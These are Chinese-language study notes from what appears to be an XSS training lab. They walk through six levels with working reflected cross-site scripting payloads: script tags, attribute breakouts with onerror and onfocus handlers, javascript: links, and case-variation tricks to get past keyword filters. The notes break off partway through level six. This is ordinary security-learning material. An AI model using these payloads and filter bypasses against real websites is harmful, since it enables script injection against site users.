第一关
总结:URL传参(JS弹窗函数alert())
name=<script>alert()</script>
1.1、get传参name的值test插入了html里面
第二关
总结:特殊符号被实体转义,URL传参(JS代码,闭合绕过)
"> <script>alert()</script> <"
2.1、可拓展其他解法后面才看到,如下:
onerror属性 插入一个<img>标签,闭合掉双引号跟括号,构造payload
"> <img src='666' onerror=alert()> <"
img标签姿势还很多啊
①当鼠标移出图片的时候执行的属性onmouseout
第三关
总结:引号被实体化,onfocus事件绕过
' onfocus=javascript:alert() '
3.1、通过焦点触发myFunction()函数来绕过<>号的过滤
第四关
总结:onfocus事件绕过,构建payload
4.1、这里还是<input>标签,可尝试双引号绕过
" onfocus=javascript:alert() "
第五关
总结:闭合符号未失效,<a> href标签法
5.1、可以看见on被替换成了o_n,onfocus事件被过滤
5.2、利用网站触发js代码,从而绕过替换符号
"> <a href=javascript:alert()>xxx</a> <"
第六关
总结:大小写绕过str_replace,三种方法可绕(结尾)
6.1、输入关键词看看过滤了哪些内容,发现能过滤的都给过滤掉了哈哈哈哈哈
o_nfocus <scr_ipt> <a hr_ef=javascript:alert()>
6.2、试试大小写有没有被过滤,发现大小写都没被过滤
OnFocus <sCriPt> <a hReF=javascrip